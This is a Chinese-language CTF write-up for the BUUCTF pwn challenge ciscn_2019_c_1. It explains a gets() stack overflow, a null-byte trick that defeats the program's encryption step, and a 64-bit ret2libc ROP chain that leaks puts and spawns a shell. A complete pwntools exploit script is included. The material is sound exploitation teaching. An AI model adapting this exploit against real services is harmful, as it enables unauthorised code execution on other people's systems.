Buuctf(PWN)ciscn_2019_c_1
一個普通的小程序,給了3個選項來供我們選擇;
在main函數進行分析,發現輸入 1 是正確的通道; 點進去下面的encrypt() 加密函數;
在這里發現了 gets()溢出函數; 我們可以利用這個函數漏洞來構建我們的payload;
緊接著下面 就會對 我們輸入的payload 進行加密操作會破壞我們的payload;
我們需要避免這種情況;
看第14行有個 if ( v0 >= strlen(s) ); 當不滿足條件時會退出 while 循環;
我們要借此利用這個 if 只要 在我們的 payload 語句 最前方 輸入 '\0’即可 具體可以看看:
strlen()函數 與 “\0“ 的關系 與 利用
另外這道題是 沒有 sytem函數 和 bin/sh 來供我們利用的,考察了:rop_x64,泄露libc這方面的知識;
Exp:
from pwn import* from LibcSearcher import* p=remote('node3.buuoj.cn','25295') elf=ELF('./1') main=0x400b28 rdi=0x400c83 ret=0x4006b9 pus_plt=elf.plt['puts'] puts_got=elf.got['puts'] p.sendlineafter('Input your choice!\n','1') payload='\0'+'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter('Input your Plaintext to be encrypted\n',payload) p.recvline() p.recvline() #接收 encrypt 的兩個 puts函數輸出; puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0')) #得到 puts 函數 的地址; libc=LibcSearcher("puts",puts_addr) # 得到 libc的版本; libc_base=puts_addr-libc.dump("puts") # 得到偏移地址 sys_addr=libc_base+libc.dump("system") # 利用偏移地址 得到 system函數的地址 binsh=libc_base+libc.dump("str_bin_sh") # 得到 bin/sh 的 地址 p.sendlineafter('choice!\n','1') # 再一次執行 一遍流程 payload='\0'+'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys_addr) p.sendlineafter('encrypted\n',payload) p.interactive()Exp語句講解
1可以在上面的程序偽代碼中看到,程序執行過了puts函數,我們就利用它的plt和got地址來泄露我們的 ibc版本
2這一道題是64位的程序,這邊涉及到64位程序和32位程序運行時的區別了
32位程序運行執行指令的時候直接去內存地址尋址執行
64位程序則是通過寄存器來傳址,寄存器去內存尋址,找到地址返回給程序
先用ROPgadget 找一下需要用到的匯編指令的地址。ret ubuntu18上有棧平衡,用來進行棧對齊。命令: ROPgadget --binary 文件名 --only "pop|ret"
3
第一個payload 解釋:
#設置rdi寄存器的值為puts的got表地址
#調用puts函數,輸出的是puts的got表地址
#設置返回地址,上述步驟完成了輸出了puts函數的地址,我們得控制程序執行流
#讓它返回到main函數,這樣我們才可以再一次利用輸入點構造rop
有疑問的歡迎留言;
總結
以上是生活随笔為你收集整理的Buuctf(PWN)ciscn_2019_c_1的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 介绍Python中方法ljust(),r
- 下一篇: CTF(Pwn) Rop + ret2